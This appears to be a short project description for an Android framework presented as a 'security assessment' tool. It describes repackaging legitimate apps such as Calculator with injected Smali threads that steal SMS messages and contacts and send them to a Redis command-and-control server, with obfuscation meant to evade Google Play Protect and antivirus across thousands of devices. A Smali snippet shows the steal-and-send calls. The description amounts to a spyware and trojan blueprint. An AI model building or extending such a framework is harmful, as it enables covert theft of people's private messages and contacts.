Production-grade Android 15 security assessment framework utilizing direct Smali bytecode injection for comprehensive security analysis.
The framework operates by injecting custom Smali code into legitimate applications (like Calculator). It runs background threads to query internal ContentProviders and stream data to a Redis C2.
Direct manipulation of Dalvik bytecode to inject malicious threads into signed APKs.
Custom obfuscation and encryption to assess Google Play Protect and mobile antiviruses.
Scalable backend infrastructure handling concurrent connections from thousands of devices.
The framework is built on a deep understanding of the Android Runtime (ART). By decompiling legitimate APKs with apktool, we inject custom .smali classes that run in parallel with the main application logic.
.method public run()V
.locals 4
:try_start_0
# Access SMS
invoke-direct {p0}, Lcom/malware/SmsThief;->steal()V
# Access Contacts
invoke-direct {p0}, Lcom/malware/ContactThief;->steal()V
# Send to C2
invoke-direct {p0}, Lcom/malware/HttpSender;->send()V
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
return-void
.end method